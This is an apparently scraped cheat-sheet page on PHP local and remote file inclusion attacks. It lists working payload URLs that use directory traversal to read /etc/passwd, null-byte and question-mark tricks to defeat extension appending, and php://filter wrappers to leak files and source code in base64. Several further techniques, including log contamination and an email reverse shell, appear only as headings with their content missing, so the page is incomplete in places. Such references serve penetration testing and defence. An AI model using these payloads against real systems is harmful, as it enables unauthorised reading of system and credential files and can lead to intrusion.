PHP - LFI and RFI
Basic Local File Inclusion and Remote File Inclusion
http://example.com/script.php?page=../../../../../../../../etc/passwd
http://example.com/script.php?language=/etc/passwd Null Byte
# On PHP 5.3 and below, you can use Null Byte %00 to bypass php from appending .php extensions
http://example.com/script.php?language=/etc/passwd%00
# Another way to deal with this is to use the ? (question mark) in order to make the rest of the strings to be interpreted as a parameter.
# Also try %2500
http://example.com/script.php?language=/etc/passwd? Base64 Encoded
index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
index.php?page=php://filter/convert.base64-encode/resource=index.phpPHP Input Wrapper - POST
Example 1:

PHP Zip Wrapper
proc/self/environ


Log File Contamination
Email Revese Shell
phpinfo() LFI


PreviousExploiting RFI in a PHP application and bypassing remote URL inclusion restrictNextSQL Injection
Last updated